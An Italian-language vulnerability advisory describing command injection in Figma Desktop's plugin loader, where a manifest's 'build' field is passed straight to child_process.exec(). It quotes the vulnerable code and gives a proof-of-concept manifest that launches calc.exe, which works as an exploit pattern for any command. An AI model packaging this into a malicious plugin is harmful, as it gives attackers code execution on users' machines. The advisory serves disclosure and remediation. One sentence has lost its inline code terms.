
Vulnerabilità di iniezione di comandi del sistema operativo tramite esecuzione di plugin in Figma Desktop Application
Figma Desktop Application (v125.6.5) contiene una vulnerabilità di iniezione di comandi nel caricatore dei plugin.
Un plugin manifesto dannoso (manifest.json) può abusare del campo , che viene passato direttamente a senza validazione.
Ciò consente l'esecuzione arbitraria di comandi del sistema operativo non appena il plugin viene caricato, senza avvisi di sicurezza o richieste di conferma.
buildchild_process.exec()La vulnerabilità deriva dal codice situato in main.js, che importa il modulo child_process integrato di Node.js:
Zlt = require("child_process")
Successivamente, se il campo build è presente nel file manifest.json di un plugin e il suo valore è una stringa, l'applicazione esegue il valore direttamente utilizzando child_process.exec() senza alcuna sanificazione o validazione:
if (
s.build &&
typeof s.build === "string" &&
(l.path = process.env.PATH || "",
await new Promise((g) => {
(0, Zlt.exec)(s.build, { cwd: i }, (y, I, P) => {
l.stdout = I;
l.stderr = P;
y && (l.buildErrCode = y.code);
g();
});
}),
l.buildErrCode
)
return l;
Di conseguenza, il seguente file manifest.json contenuto in un plugin dannoso causerebbe l'esecuzione del valore del campo build come un comando del sistema operativo:
{
"name": "<NAME>",
"id": "<ID>",
"api": "1.0.0",
"main": "code.js",
"build": "<COMMAND>",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Questo flusso di esecuzione è integrato nella logica di gestione dei plugin di Figma, e l'inclusione della chiamata require("child_process") in main.js conferma che l'esecuzione di comandi è costruita direttamente nella logica principale dell'applicazione.
Eseguendo un plugin che include il seguente manifest.json dannoso:
{
"name": "poc",
"id": "1535549154235958412",
"api": "1.0.0",
"main": "code.js",
"build": "calc.exe",
"capabilities": [],
"enableProposedApi": false,
"documentAccess": "dynamic-page",
"editorType": [
"figma"
],
"networkAccess": {
"allowedDomains": [
"none"
]
}
}
Una volta che questo plugin viene registrato in Figma ed eseguito, il comando del sistema operativo specificato (calc.exe) viene eseguito immediatamente.
Sebbene l'esecuzione del campo build sia una funzionalità ufficialmente supportata in Figma Desktop Application, l'applicazione dovrebbe evitare di fare affidamento su campi controllati dall'utente in manifest.json, come build, ove possibile.
Se tali campi devono essere supportati, devono essere sottoposti a una rigorosa validazione dell'input per prevenire l'iniezione di comandi.
Inoltre, dovrebbe essere evitato l'uso di child_process.exec() di Node.js, e dovrebbero essere adottate alternative più sicure con una gestione esplicita degli argomenti.